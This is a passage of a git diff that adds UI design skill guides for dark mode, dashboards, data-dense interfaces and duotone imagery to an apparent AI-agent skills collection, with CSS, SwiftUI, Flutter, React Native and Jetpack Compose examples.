does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/dark-mode/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/dark-mode/SKILL.md new file mode 100644 index 00000000..07fb3fac --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/dark-mode/SKILL.md @@ -0,0 +1,289 @@ +--- +name: dark-mode +description: Web and App implementation guide for Dark Mode Design. Trigger when user wants dark surfaces, reduced eye strain, and premium sleek aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Dark Mode Design + +> "Not just inverted colors. A carefully constructed hierarchy of light on dark." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Never Pure Black**: True `#000000` causes smearing on OLED screens and extreme eye strain with white text. Use dark greys (e.g., `#121212` or `#0A0A0A`). +2. **Elevation via Lightness**: In light mode, shadows show elevation. In dark mode, shadows are invisible, so elevated surfaces must be lighter than the background. +3. **Desaturated Accents**: Saturated colors vibrate painfully against dark backgrounds. Tone down the saturation of brand colors. + +## Visual DNA +- **Colors**: **Midnight Luxury** or **Minimalist Slate** (inverted). Background `#121212`. Elevated cards `#1E1E1E`, `#252525`. Primary text `#E1E1E1` (not `#FFFFFF`). +- **Typography**: Standard highly readable sans-serifs, but often dropped down one font weight compared to light mode, as light text on dark backgrounds appears optically thicker. +- **Shadows**: Pure black shadows, but with much lower opacity, mostly to separate slightly different shades of grey. + +## Web Implementation +- **CSS Example**: +```css +:root { + --bg-base: #121212; + --bg-elevated-1: #1E1E1E; + --bg-elevated-2: #242424; + --text-high-emphasis: rgba(255, 255, 255, 0.87); + --text-medium-emphasis: rgba(255, 255, 255, 0.60); + + /* Accent color: Desaturated purple instead of bright purple */ + --accent-color: #BB86FC; +} + +body { + background-color: var(--bg-base); + color: var(--text-high-emphasis); + font-weight: 300; /* Thinner weight for dark mode */ +} + +.dark-card { + background-color: var(--bg-elevated-1); + border-radius: 8px; + padding: 24px; + + /* Very subtle border can help separate dark surfaces */ + border: 1px solid rgba(255, 255, 255, 0.05); +} + +.dark-card:hover { + /* On hover, the element moves closer to the user, so it gets lighter */ + background-color: var(--bg-elevated-2); +} + +.dark-btn { + background-color: var(--accent-color); + color: #000; /* Dark text on light accent is highly readable */ + font-weight: 600; + border: none; + padding: 12px 24px; + border-radius: 4px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct DarkModeView: View { + // Force Dark Mode on this specific view (or use system settings) + @Environment(\.colorScheme) var colorScheme + + var body: some View { + ScrollView { + VStack(spacing: 20) { + // Primary elevated card + VStack(alignment: .leading, spacing: 12) { + Text("Elevation via Lightness") + .font(.headline) + .foregroundColor(.primary) // Auto-adapts + Text("In dark mode, elevated surfaces are lighter grey, not shadowed.") + .font(.subheadline) + .foregroundColor(.secondary) // Auto-adapts + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + // Use native semantic colors. .secondarySystemBackground is lighter than .systemBackground + .background(Color(UIColor.secondarySystemBackground)) + .cornerRadius(12) + + // Desaturated Accent Button + Button(action: {}) { + Text("Desaturated Accent") + .fontWeight(.semibold) + .foregroundColor(.black) // Dark text on light accent + .padding() + .frame(maxWidth: .infinity) + .background(Color(red: 0.73, green: 0.52, blue: 0.98)) // #BB86FC (Desaturated purple) + .cornerRadius(8) + } + } + .padding() + } + // #121212 is the standard dark mode background, which systemBackground maps to closely + .background(Color(UIColor.systemBackground)) + } +} +// .preferredColorScheme(.dark) to force +``` +- **Rely on Semantics**: SwiftUI's `Color.primary`, `Color.secondary`, `Color(UIColor.systemBackground)` and `Color(UIColor.secondarySystemBackground)` handle perfect dark mode transitions automatically. +- Avoid forcing explicit hex codes for backgrounds unless you are building a custom-themed app. + +### Flutter +```dart +import 'package:flutter/material.dart'; + +class DarkModeApp extends StatelessWidget { + @override + Widget build(BuildContext context) { + return MaterialApp( + // Configure the Dark Theme + themeMode: ThemeMode.dark, + darkTheme: ThemeData.dark().copyWith( + scaffoldBackgroundColor: const Color(0xFF121212), // Standard dark background + cardColor: const Color(0xFF1E1E1E), // Elevated surface + colorScheme: const ColorScheme.dark().copyWith( + primary: const Color(0xFFBB86FC), // Desaturated accent + onPrimary: Colors.black, // Dark text on light accent + surface: const Color(0xFF1E1E1E), + ), + ), + home: Scaffold( + appBar: AppBar(title: const Text('Dark Mode', style: TextStyle(color: Colors.white70))), + body: ListView( + padding: const EdgeInsets.all(16), + children: [ + Card( + elevation: 0, // Shadows don't show well anyway + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(12), + side: BorderSide(color: Colors.white.withOpacity(0.05)), // Subtle border + ), + child: const Padding( + padding: EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text('Elevation via Lightness', style: TextStyle(fontSize: 18, fontWeight: FontWeight.bold)), + SizedBox(height: 8), + Text('Elevated surfaces use lighter greys.', style: TextStyle(color: Colors.white60)), + ], + ), + ), + ), + const SizedBox(height: 20), + ElevatedButton( + onPressed: () {}, + child: const Text('Desaturated Accent'), + ), + ], + ), + ), + ); + } +} +``` +- When using `ThemeData.dark()`, actively override `scaffoldBackgroundColor` to `#121212` and `cardColor` to `#1E1E1E`. +- Ensure your `colorScheme.onPrimary` is black so text is readable when placed on top of your desaturated primary accent button. + +### React Native +```jsx +import { useColorScheme } from 'react-native'; + +const DarkModeScreen = () => { + const isDark = useColorScheme() === 'dark'; + + // Custom dark theme dictionary + const theme = { + bgBase: isDark ? '#121212' : '#FFFFFF', + bgElevated: isDark ? '#1E1E1E' : '#F5F5F5', + textHigh: isDark ? 'rgba(255, 255, 255, 0.87)' : 'rgba(0, 0, 0, 0.87)', + textMedium: isDark ? 'rgba(255, 255, 255, 0.60)' : 'rgba(0, 0, 0, 0.60)', + accent: isDark ? '#BB86FC' : '#6200EE', // Desaturated for dark, vibrant for light + onAccent: isDark ? '#000' : '#FFF', + }; + + return ( + + + + Elevation via Lightness + + + Elevated surfaces use lighter greys. + + + + + Desaturated Accent + + + ); +}; +``` +- Rely on `useColorScheme()` hook from React Native. +- Define a strict dictionary of your color tokens. Notice how `theme.accent` shifts from a vibrant purple (`#6200EE`) in light mode to a desaturated pastel purple (`#BB86FC`) in dark mode. + +### Jetpack Compose +```kotlin +@Composable +fun DarkModeScreen() { + // Typically this logic lives in your Theme.kt + val darkColors = darkColorScheme( + background = Color(0xFF121212), + surface = Color(0xFF1E1E1E), + primary = Color(0xFFBB86FC), + onPrimary = Color.Black, + onBackground = Color.White.copy(alpha = 0.87f), + onSurface = Color.White.copy(alpha = 0.87f) + ) + + MaterialTheme(colorScheme = darkColors) { + Column( + modifier = Modifier + .fillMaxSize() + .background(MaterialTheme.colorScheme.background) + .padding(16.dp) + ) { + Card( + colors = CardDefaults.cardColors(containerColor = MaterialTheme.colorScheme.surface), + shape = RoundedCornerShape(12.dp), + border = BorderStroke(1.dp, Color.White.copy(alpha = 0.05f)) + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Elevation via Lightness", + style = MaterialTheme.typography.titleMedium, + color = MaterialTheme.colorScheme.onSurface) + Spacer(Modifier.height(8.dp)) + Text("Elevated surfaces use lighter greys.", + style = MaterialTheme.typography.bodyMedium, + color = MaterialTheme.colorScheme.onSurface.copy(alpha = 0.6f)) + } + } + + Spacer(Modifier.height(20.dp)) + + Button( + onClick = {}, + colors = ButtonDefaults.buttonColors( + containerColor = MaterialTheme.colorScheme.primary, + contentColor = MaterialTheme.colorScheme.onPrimary + ), + modifier = Modifier.fillMaxWidth().height(50.dp) + ) { + Text("Desaturated Accent", fontWeight = FontWeight.Bold) + } + } + } +} +``` +- Material 3 handles Dark Mode semantics perfectly. Define your `darkColorScheme`. +- Use `Color(0xFF1E1E1E)` for `surface` and `Color(0xFF121212)` for `background`. Compose will automatically map these to `Card`s and Scaffolds. + +## Do's and Don'ts +- **DO**: Meet WCAG contrast standards. Just because it's dark doesn't mean the text should be illegibly dim. +- **DON'T**: Use bright, highly saturated primary colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/dashboard-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/dashboard-design/SKILL.md new file mode 100644 index 00000000..ad805ccc --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/dashboard-design/SKILL.md @@ -0,0 +1,331 @@ +--- +name: dashboard-design +description: Web and App implementation guide for Dashboard Design. Trigger when user wants analytics-focused layouts, data visualization, and modular overview screens. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Dashboard Design + +> "Data at a glance. Organized, scannable, and highly functional." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Modular Grid**: The screen is broken down into functional "widgets" or cards. Usually a sidebar on the left and a top nav. +2. **Data Hierarchy**: The most important numbers (KPIs) are large and usually at the top. Charts take up the middle, and lists/tables are at the bottom. +3. **Muted Backgrounds**: A soft grey or off-white background so the white data cards stand out clearly. + +## Visual DNA +- **Colors**: **Minimalist Slate** or **Earth-Grounded Elegance**. Avoid too many colors. Use red/green strictly for positive/negative trends. +- **Typography**: Clean, tabular sans-serifs (`Inter`, `Roboto Mono` for numbers). +- **Styling**: Very subtle shadows or 1px borders to separate cards. + +## Web Implementation +- Use CSS Grid for the macro layout (Sidebar, Header, Main). +- **CSS Example**: +```css +body { + background-color: #F8F9FA; + color: #212529; + font-family: 'Inter', sans-serif; + margin: 0; +} + +.dashboard-layout { + display: grid; + grid-template-columns: 250px 1fr; + grid-template-rows: 70px 1fr; + height: 100vh; +} + +.sidebar { + grid-row: 1 / 3; + background-color: #ffffff; + border-right: 1px solid #e9ecef; + padding: 20px; +} + +.header { + background-color: #ffffff; + border-bottom: 1px solid #e9ecef; + padding: 0 30px; + display: flex; + align-items: center; +} + +.main-content { + padding: 30px; + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 20px; + overflow-y: auto; +} + +/* KPI Card */ +.kpi-card { + background: #fff; + border-radius: 8px; + padding: 24px; + border: 1px solid #e9ecef; + box-shadow: 0 2px 4px rgba(0,0,0,0.02); +} + +.kpi-title { font-size: 0.9rem; color: #6c757d; } +.kpi-value { font-size: 2rem; font-weight: 700; margin-top: 8px; } +.kpi-trend.positive { color: #28a745; } +``` + +## App Implementation + +### SwiftUI +```swift +struct DashboardView: View { + // For iPad/Mac, NavigationSplitView is ideal. + // For iPhone, we use a scrolling VGrid. + let columns = [ + GridItem(.adaptive(minimum: 150), spacing: 16) + ] + + var body: some View { + NavigationView { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + KPICard(title: "Revenue", value: "$45,231", trend: "+12.5%", isPositive: true) + KPICard(title: "Active Users", value: "2,405", trend: "+4.1%", isPositive: true) + KPICard(title: "Churn Rate", value: "1.2%", trend: "-0.4%", isPositive: false) + KPICard(title: "Avg. Session", value: "4m 12s", trend: "+0.1%", isPositive: true) + } + .padding() + + // Placeholder for Chart + RoundedRectangle(cornerRadius: 12) + .fill(Color.white) + .frame(height: 250) + .overlay(Text("Chart Area").foregroundColor(.gray)) + .padding(.horizontal) + } + .background(Color(UIColor.systemGroupedBackground)) + .navigationTitle("Overview") + } + } +} + +struct KPICard: View { + let title: String + let value: String + let trend: String + let isPositive: Bool + + var body: some View { + VStack(alignment: .leading, spacing: 8) { + Text(title).font(.subheadline).foregroundColor(.secondary) + Text(value).font(.title2).fontWeight(.bold) + Text(trend) + .font(.caption) + .fontWeight(.semibold) + .foregroundColor(isPositive ? .green : .red) + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(12) + .shadow(color: Color.black.opacity(0.02), radius: 4, y: 2) + } +} +``` +- Dashboards require `.adaptive` grids. `LazyVGrid` handles rearranging 4 cards in a row on iPad down to 2 cards on iPhone automatically. +- Use `Color(UIColor.systemGroupedBackground)` to provide that subtle off-white contrast against stark white cards. + +### Flutter +```dart +class DashboardScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF8F9FA), + appBar: AppBar( + title: const Text('Overview', style: TextStyle(color: Colors.black)), + backgroundColor: Colors.white, + elevation: 1, + ), + // On tablets, use a Row with NavigationRail. On mobile, use Drawer. + drawer: const Drawer(), + body: CustomScrollView( + slivers: [ + SliverPadding( + padding: const EdgeInsets.all(16), + sliver: SliverGrid.extent( + maxCrossAxisExtent: 200, // Adapts layout based on width + mainAxisSpacing: 16, + crossAxisSpacing: 16, + childAspectRatio: 1.5, + children: [ + _buildKPI('Revenue', '\$45,231', '+12.5%', true), + _buildKPI('Active Users', '2,405', '+4.1%', true), + _buildKPI('Churn Rate', '1.2%', '-0.4%', false), + _buildKPI('Avg. Session', '4m 12s', '+0.1%', true), + ], + ), + ), + SliverPadding( + padding: const EdgeInsets.symmetric(horizontal: 16), + sliver: SliverToBoxAdapter( + child: Container( + height: 250, + decoration: BoxDecoration(color: Colors.white, borderRadius: BorderRadius.circular(12)), + child: const Center(child: Text('Chart Area', style: TextStyle(color: Colors.grey))), + ), + ), + ), + ], + ), + ); + } + + Widget _buildKPI(String title, String value, String trend, bool isPositive) { + return Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(12), + border: Border.all(color: Colors.grey[200]!), + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisAlignment: MainAxisAlignment.center, + children: [ + Text(title, style: const TextStyle(color: Colors.grey, fontSize: 14)), + const SizedBox(height: 8), + Text(value, style: const TextStyle(fontSize: 24, fontWeight: FontWeight.bold)), + Text(trend, style: TextStyle(color: isPositive ? Colors.green : Colors.red, fontWeight: FontWeight.w600)), + ], + ), + ); + } +} +``` +- `SliverGrid.extent` with a `maxCrossAxisExtent` is the responsive magic bullet for Flutter dashboards. It handles varying screen widths flawlessly. +- For charts, the `fl_chart` package is the gold standard in Flutter. + +### React Native +```jsx +const DashboardScreen = () => { + return ( + + + + + + + + + + + Chart Area + + + + ); +}; + +const KPICard = ({ title, value, trend, isPositive }) => ( + + {title} + {value} + {trend} + +); +``` +- To make responsive flex grids in React Native, use `flexDirection: 'row'`, `flexWrap: 'wrap'`, and set the children to `flexBasis: '47%'`. +- For heavy data visualization, look into `victory-native` or `@shopify/react-native-skia`. + +### Jetpack Compose +```kotlin +@Composable +fun DashboardScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFFF8F9FA)) + .verticalScroll(rememberScrollState()) + ) { + // Top App Bar substitute + Text( + text = "Overview", + style = MaterialTheme.typography.headlineSmall, + fontWeight = FontWeight.Bold, + modifier = Modifier.padding(16.dp) + ) + + // KPI Grid + LazyVerticalGrid( + columns = GridCells.Adaptive(minSize = 150.dp), + contentPadding = PaddingValues(horizontal = 16.dp), + horizontalArrangement = Arrangement.spacedBy(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp), + modifier = Modifier.heightIn(max = 400.dp) // Bound the grid height in scrollview + ) { + item { KPICard("Revenue", "$45,231", "+12.5%", true) } + item { KPICard("Active Users", "2,405", "+4.1%", true) } + item { KPICard("Churn Rate", "1.2%", "-0.4%", false) } + item { KPICard("Avg. Session", "4m 12s", "+0.1%", true) } + } + + Spacer(Modifier.height(16.dp)) + + // Chart Area + Box( + modifier = Modifier + .fillMaxWidth() + .padding(horizontal = 16.dp) + .height(250.dp) + .background(Color.White, RoundedCornerShape(12.dp)) + .border(1.dp, Color(0xFFE9ECEF), RoundedCornerShape(12.dp)), + contentAlignment = Alignment.Center + ) { + Text("Chart Area", color = Color.Gray) + } + + Spacer(Modifier.height(32.dp)) + } +} + +@Composable +fun KPICard(title: String, value: String, trend: String, isPositive: Boolean) { + Column( + modifier = Modifier + .background(Color.White, RoundedCornerShape(8.dp)) + .border(1.dp, Color(0xFFE9ECEF), RoundedCornerShape(8.dp)) + .padding(16.dp) + ) { + Text(title, color = Color.Gray, fontSize = 14.sp) + Spacer(Modifier.height(4.dp)) + Text(value, fontSize = 22.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(4.dp)) + Text(trend, color = if (isPositive) Color(0xFF28A745) else Color(0xFFDC3545), fontWeight = FontWeight.SemiBold, fontSize = 12.sp) + } +} +``` +- `GridCells.Adaptive(minSize = 150.dp)` creates the responsive card layout automatically. +- Warning: Nesting `LazyVerticalGrid` inside a `Column` with `.verticalScroll` can cause height calculation issues. You must use `.heightIn(max=...)` on the grid, or completely convert the entire layout to a single `LazyVerticalGrid` where the chart is just a `GridItemSpan(maxLineSpan)` element. + +## Do's and Don'ts +- **DO**: Right-align numbers in tables so they are easier to scan and compare. +- **DON'T**: Clutter cards with unnecessary decorative images. The data is the decoration. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/data-dense-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/data-dense-design/SKILL.md new file mode 100644 index 00000000..be9aa051 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/data-dense-design/SKILL.md @@ -0,0 +1,322 @@ +--- +name: data-dense-design +description: Web and App implementation guide for Data-Dense Design. Trigger when user wants professional tools, maximum information density, and expert interfaces (like Bloomberg terminals or IDEs). +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Data-Dense Design + +> "Density is a feature. For expert users, reducing clicks is more important than whitespace." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Compact Layouts**: Extremely tight margins and padding (often 2px to 4px). +2. **Monospace & Tabular Data**: Numbers must align vertically perfectly. +3. **High Utility**: Every pixel serves a functional purpose. Minimal purely decorative elements. + +## Visual DNA +- **Colors**: **Industrial Chic** (high contrast) or **Minimalist Slate**. Avoid bright backgrounds. Dark themes are heavily preferred to reduce eye strain over 8-hour sessions. +- **Typography**: Small base sizes (`11px` - `13px`). Strict use of monospace fonts (`Fira Code`, `JetBrains Mono`) for data. +- **Borders**: Thin `1px` borders (`#333` or `#e0e0e0`) are used extensively to separate tiny cells of data. + +## Web Implementation +- Tables, CSS Grid, and Flexbox with zero gap. +- **CSS Example**: +```css +body { + background-color: #1e1e1e; /* IDE Dark */ + color: #cccccc; + font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; + font-size: 12px; /* Very small */ + margin: 0; +} + +.dense-toolbar { + display: flex; + background-color: #2d2d2d; + border-bottom: 1px solid #3c3c3c; + padding: 2px 4px; +} + +.dense-btn { + background: transparent; + color: #ccc; + border: 1px solid transparent; + padding: 2px 8px; + border-radius: 2px; + cursor: pointer; +} +.dense-btn:hover { + background-color: #3c3c3c; + border-color: #555; +} + +/* Dense Data Table */ +.data-table { + width: 100%; + border-collapse: collapse; + font-family: 'JetBrains Mono', monospace; +} + +.data-table th, .data-table td { + padding: 4px 8px; + border: 1px solid #3c3c3c; + text-align: right; /* Numbers align right */ +} + +.data-table tr:nth-child(even) { background-color: #252526; } +.data-table tr:hover { background-color: #094771; color: #fff; } /* Selection highlight */ +``` + +## App Implementation + +### SwiftUI +```swift +struct DataDenseView: View { + var body: some View { + ScrollView([.horizontal, .vertical]) { + Grid(horizontalSpacing: 0, verticalSpacing: 0) { + // Header Row + GridRow { + HeaderCell("SYM") + HeaderCell("BID") + HeaderCell("ASK") + HeaderCell("CHG") + } + + // Data Rows + DataRow(sym: "AAPL", bid: "173.40", ask: "173.45", chg: "+0.12", isPos: true) + DataRow(sym: "MSFT", bid: "320.10", ask: "320.15", chg: "-0.45", isPos: false) + DataRow(sym: "GOOG", bid: "135.20", ask: "135.30", chg: "+0.02", isPos: true) + } + .border(Color.gray.opacity(0.3), width: 1) + } + .background(Color(white: 0.12)) // Dark IDE background + } +} + +struct HeaderCell: View { + let text: String + init(_ text: String) { self.text = text } + var body: some View { + Text(text) + .font(.system(size: 11, weight: .bold, design: .monospaced)) + .foregroundColor(.gray) + .padding(4) + .frame(minWidth: 60, alignment: .leading) + .border(Color.gray.opacity(0.3), width: 0.5) + .background(Color(white: 0.18)) + } +} + +struct DataRow: View { + let sym, bid, ask, chg: String + let isPos: Bool + var body: some View { + GridRow { + Cell(sym, color: .white) + Cell(bid, color: .white, align: .trailing) + Cell(ask, color: .white, align: .trailing) + Cell(chg, color: isPos ? .green : .red, align: .trailing) + } + } +} + +struct Cell: View { + let text: String + let color: Color + let align: Alignment + init(_ text: String, color: Color, align: Alignment = .leading) { + self.text = text; self.color = color; self.align = align + } + var body: some View { + Text(text) + .font(.system(size: 12, design: .monospaced)) + .foregroundColor(color) + .padding(4) + .frame(minWidth: 60, alignment: align) + .border(Color.gray.opacity(0.3), width: 0.5) + } +} +``` +- Use `Grid` with `0` spacing. +- Font must be `.system(..., design: .monospaced)`. +- Use a `.border()` with `0.5` width on every single cell to recreate the dense spreadsheet look. + +### Flutter +```dart +class DataDenseScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF1E1E1E), + body: SingleChildScrollView( + scrollDirection: Axis.vertical, + child: SingleChildScrollView( + scrollDirection: Axis.horizontal, + child: Theme( + // Override theme specifically to make the table hyper-dense + data: Theme.of(context).copyWith( + dividerColor: Colors.grey[800], + ), + child: DataTable( + headingRowHeight: 28, // Extremely dense + dataRowMinHeight: 24, + dataRowMaxHeight: 24, // Extremely dense + columnSpacing: 16, + border: TableBorder.all(color: Colors.grey[800]!, width: 1), + columns: const [ + DataColumn(label: Text('SYM', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono'))), + DataColumn(label: Text('BID', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono')), numeric: true), + DataColumn(label: Text('ASK', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono')), numeric: true), + ], + rows: [ + _buildRow('AAPL', '173.40', '173.45'), + _buildRow('MSFT', '320.10', '320.15'), + _buildRow('GOOG', '135.20', '135.30'), + ], + ), + ), + ), + ), + ); + } + + DataRow _buildRow(String sym, String bid, String ask) { + const style = TextStyle(color: Colors.white, fontSize: 12, fontFamily: 'RobotoMono'); + return DataRow( + cells: [ + DataCell(Text(sym, style: style)), + DataCell(Text(bid, style: style)), + DataCell(Text(ask, style: style)), + ], + ); + } +} +``` +- Flutter's `DataTable` is perfect, but you must manually crush the `headingRowHeight` and `dataRowHeight` down from their Material defaults (which are huge). +- Wrap in dual `SingleChildScrollView` to allow panning around large data sets. + +### React Native +```jsx +const DataDenseScreen = () => { + return ( + + + + {/* Header */} + + + + + + + + {/* Rows */} + + + + + + ); +}; + +const HeaderCell = ({ text, width, align = 'left' }) => ( + + + {text} + + +); + +const DataRow = ({ sym, bid, ask, chg, isPos }) => ( + + + + + + +); + +const Cell = ({ text, width, align = 'left', color = '#CCC' }) => ( + + + {text} + + +); +``` +- React Native doesn't have a native Table component, so you must construct a grid using `flexDirection: 'row'` and strict `width` properties on cells. +- Double scroll views (one vertical, one horizontal inside it) are standard for mobile data tables. + +### Jetpack Compose +```kotlin +@Composable +fun DataDenseScreen() { + val scrollStateHorizontal = rememberScrollState() + val scrollStateVertical = rememberScrollState() + + Box( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF1E1E1E)) + .verticalScroll(scrollStateVertical) + .horizontalScroll(scrollStateHorizontal) + .padding(8.dp) + ) { + Column(modifier = Modifier.border(1.dp, Color(0xFF333333))) { + // Header + Row(modifier = Modifier.background(Color(0xFF2D2D2D))) { + Cell("SYM", 60.dp, Color.Gray, true) + Cell("BID", 80.dp, Color.Gray, true, TextAlign.End) + Cell("ASK", 80.dp, Color.Gray, true, TextAlign.End) + } + + // Rows + DataRow("AAPL", "173.40", "173.45") + DataRow("MSFT", "320.10", "320.15") + } + } +} + +@Composable +fun DataRow(sym: String, bid: String, ask: String) { + Row { + Cell(sym, 60.dp, Color.White, false) + Cell(bid, 80.dp, Color.White, false, TextAlign.End) + Cell(ask, 80.dp, Color.White, false, TextAlign.End) + } +} + +@Composable +fun Cell(text: String, width: Dp, color: Color, isHeader: Boolean, align: TextAlign = TextAlign.Start) { + Text( + text = text, + color = color, + fontSize = if (isHeader) 11.sp else 12.sp, + fontWeight = if (isHeader) FontWeight.Bold else FontWeight.Normal, + fontFamily = FontFamily.Monospace, + textAlign = align, + modifier = Modifier + .width(width) + .border(0.5.dp, Color(0xFF333333)) + .padding(4.dp) + ) +} +``` +- Chain `.verticalScroll()` and `.horizontalScroll()` on the root `Box`. +- Compose allows `.border()` directly on `Text` modifiers, making spreadsheet grids very clean to implement without wrapping everything in `Box`es. + +## Do's and Don'ts +- **DO**: Use color coding (red/green) for data deltas, but keep the saturation muted to prevent eye fatigue. +- **DON'T**: Use large padding or giant H1 headers. Expert users already know what screen they are on. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/duotone-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/duotone-design/SKILL.md new file mode 100644 index 00000000..d2bebbda --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/duotone-design/SKILL.md @@ -0,0 +1,248 @@ +--- +name: duotone-design +description: Web and App implementation guide for Duotone Design. Trigger when user wants two-color schemes, striking imagery, and Spotify-like playlist aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Duotone Design + +> "Striking contrast. Photography and UI stripped down to exactly two clashing or complementary colors." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Two Colors Only**: The entire design is mapped to a dark color (replacing blacks/shadows) and a light color (replacing whites/highlights). +2. **Treated Imagery**: All photos MUST be processed into the duotone palette. +3. **Bold, Flat Typography**: Text is usually massive, solid, and uses one of the two colors. + +## Visual DNA +- **Colors**: Very high contrast pairs. Navy and Peach, Deep Purple and Neon Green, Crimson and Cream. Look at **Industrial Chic** for inspiration. +- **Typography**: Heavy, condensed sans-serifs (e.g., `League Gothic`, `Oswald`). +- **Imagery**: High-contrast, gritty photography works best when mapped to duotone. + +## Web Implementation +- Modern CSS can achieve image duotone effects without Photoshop, using `mix-blend-mode` and filters. +- **CSS Example**: +```css +:root { + --duo-dark: #1E0045; /* Deep Purple */ + --duo-light: #CCFF00; /* Neon Lime */ +} + +body { + background-color: var(--duo-dark); + color: var(--duo-light); +} + +/* CSS Duotone Image Effect */ +.duotone-container { + position: relative; + width: 100%; + height: 400px; + background-color: var(--duo-light); /* Base color */ +} + +.duotone-container img { + width: 100%; + height: 100%; + object-fit: cover; + /* Convert image to grayscale, increase contrast */ + filter: grayscale(100%) contrast(1.5); + /* Multiply the grayscale image against the light background */ + mix-blend-mode: multiply; +} + +.duotone-container::after { + /* Overlay the dark color using screen/lighten */ + content: ''; + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background-color: var(--duo-dark); + mix-blend-mode: screen; +} + +.duotone-btn { + background: var(--duo-light); + color: var(--duo-dark); + border: none; + font-weight: 900; + text-transform: uppercase; + padding: 16px 32px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct DuotoneImage: View { + let duoDark = Color(red: 0.12, green: 0.0, blue: 0.27) // #1E0045 + let duoLight = Color(red: 0.8, green: 1.0, blue: 0.0) // #CCFF00 + + var body: some View { + ZStack { + // Background base color + duoLight.ignoresSafeArea() + + // Image processing + Image("sample_photo") + .resizable() + .scaledToFill() + .grayscale(1.0) + .contrast(1.5) + .colorMultiply(duoLight) // Multiplies the light color into the grays + + // Dark color overlay + duoDark + .blendMode(.screen) // Equivalent to CSS screen blend mode + .allowsHitTesting(false) + } + .frame(height: 400) + .clipped() + } +} +``` +- Real-time image processing is easy in SwiftUI. +- Convert to `.grayscale()`, boost `.contrast()`, then use `.colorMultiply()` and `.blendMode(.screen)` layers to map the two colors exactly like CSS `mix-blend-mode`. + +### Flutter +```dart +class DuotoneImage extends StatelessWidget { + final Color duoDark = const Color(0xFF1E0045); + final Color duoLight = const Color(0xFFCCFF00); + + @override + Widget build(BuildContext context) { + return Container( + height: 400, + width: double.infinity, + color: duoLight, + child: Stack( + fit: StackFit.expand, + children: [ + // 1. Grayscale & Contrast (using ColorFilter matrix) + // 2. Light Color Multiply + ColorFiltered( + colorFilter: ColorFilter.mode(duoLight, BlendMode.multiply), + child: ColorFiltered( + // Simple grayscale matrix + colorFilter: const ColorFilter.matrix([ + 0.2126, 0.7152, 0.0722, 0, 0, + 0.2126, 0.7152, 0.0722, 0, 0, + 0.2126, 0.7152, 0.0722, 0, 0, + 0, 0, 0, 1, 0, + ]), + child: Image.asset('assets/sample_photo.jpg', fit: BoxFit.cover), + ), + ), + // 3. Dark Color Screen Overlay + ColorFiltered( + colorFilter: ColorFilter.mode(duoDark, BlendMode.screen), + child: Container(color: Colors.transparent), // Applies filter to stack below + ), + ], + ), + ); + } +} 